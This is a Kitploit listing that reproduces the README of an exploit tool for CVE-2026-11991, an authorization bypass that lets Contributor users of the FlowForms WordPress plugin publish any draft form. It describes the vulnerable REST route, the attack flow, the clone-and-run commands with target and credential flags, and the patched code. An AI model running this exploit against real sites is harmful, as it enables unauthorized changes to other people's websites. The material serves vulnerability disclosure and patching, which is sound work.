Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-11991-Exploit — Automated exploit for CVE-2026-11991, an authorization bypass in FlowForms WordPress plugin allowing Contributor+ users to publish any draft form via crafted REST API requests. | Kitploit
Tools/GitHubGitHub/0x00phantom-hat/cve-2026-11991-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHub0x00phantom-hat/cve-2026-11991-exploit

CVE-2026-11991-Exploit

Automated exploit for CVE-2026-11991, an authorization bypass in FlowForms WordPress plugin allowing Contributor+ users to publish any draft form via crafted REST API requests.

View Repository
12h 30m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-11991 — FlowForms Unauthorized Form Publication

Authenticated (Contributor+) Authorization Bypass to Publish Any Draft Form in FlowForms ≤ 1.1.1

Vulnerability Overview

PropertyValue
CVE IDCVE-2026-11991
CVSS Score6.2 — Medium
CVSS VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C
CWECWE-639 (Authorization Bypass Through User-Controlled Key)
ProductFlowForms — WordPress Conversational Form Builder Plugin
AffectedAll versions up to and including 1.1.1
Fixed In1.1.2
ResearcherPhantom Hat

Technical Analysis

Full white-box case study with source code analysis, input flow tracing, and patch diffing:

📄 CVE-2026-11991 Case Study — Medium

Attack Surface

FlowForms exposes a REST API under the flowforms/v1 namespace. The publish endpoint:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish

accepts a user-controlled {id} in the URL path and promotes a draft form to the live site.

Root Cause

The permission_callback for the /publish route performs only a generic capability check:

root@kitploit:~
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
    'methods'             => 'POST',
    'callback'            => [$this, 'publish_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts is a capability held by Contributors — a role WordPress intentionally restricts from publishing content. There is zero ownership verification against the target form_id. Any authenticated user can publish any draft form on the site.

Attack Flow

root@kitploit:~
Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Authenticate as Contributor
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Harvest REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerate draft forms
        │<─ "Form Not Published" ───────────│      (unauthenticated response)
        │                                   │
        │── POST /flowforms/v1/forms/       │  (4) Trigger publish on
        │        {id}/publish ─────────────>│      any draft form ID
        │                                   │      ← no owner check
        │<─ { "success": true } ────────────│
        │                                   │
        │   Form is now LIVE on the site    │  (5) Draft bypasses
        │   without editorial approval      │      editorial workflow

Exploit Usage

Prerequisites

  • Python 3.8+
  • An authenticated account with at least Contributor role on the target site

Installation

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt

Basic Usage

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

With Proxy (Burp Suite)

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --proxy http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

Full Flag Reference

FlagDescriptionRequired
--urlTarget WordPress URL✅
--userWordPress username (Contributor+)✅
--passwordWordPress password✅
--num_formsNumber of form IDs to enumerate✅
--id_startStarting form ID for enumeration✅
--proxyProxy URL (e.g. http://127.0.0.1:8080)❌

Exploitation Workflow

The exploit performs three automated steps:

Step 1 — Authenticate Logs in as the attacker (Contributor) and harvests a valid REST API nonce from wp-admin.

Step 2 — Enumerate Drafts Scans GET /flowform/{id} across the specified ID range. Forms returning "Form Not Published" are collected as targets — these are draft forms the attacker has no ownership over.

Step 3 — Publish Sends POST /flowforms/v1/forms/{id}/publish with the attacker's nonce. The endpoint accepts the request, promotes the draft, and makes the form live — with zero authorization check on ownership.


Remediation

ActionDetails
PatchReplace the generic edit_posts check with current_user_can('edit_post', $form_id) — the second argument binds the capability check to the specific post object, enforcing WordPress ownership rules
MitigateUntil patched, restrict the Contributor and Author roles if the plugin is active

Secure Implementation

root@kitploit:~
// VULNERABLE
'permission_callback' => fn() => current_user_can('edit_posts'),

// SECURE (patched)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

References

  • CWE-639 — Authorization Bypass Through User-Controlled Key
  • register_rest_route() — WordPress Developer Docs
  • current_user_can() — WordPress Developer Docs
  • FlowForms Plugin — WordPress.org

Project Structure

root@kitploit:~
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py   # Polished exploit with rich UI
├── requirements.txt            # Python dependencies
└── README.md                   # This file

Disclaimer

This tool is provided for authorized security testing and educational research purposes only. Unauthorized access to computer systems is illegal under applicable laws worldwide. The author assumes no liability for misuse of this software. Always obtain explicit written permission before testing any system you do not own.


Author

Phantom Hat — Independent Security Researcher

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

This research was conducted as part of responsible vulnerability disclosure.

Download Tool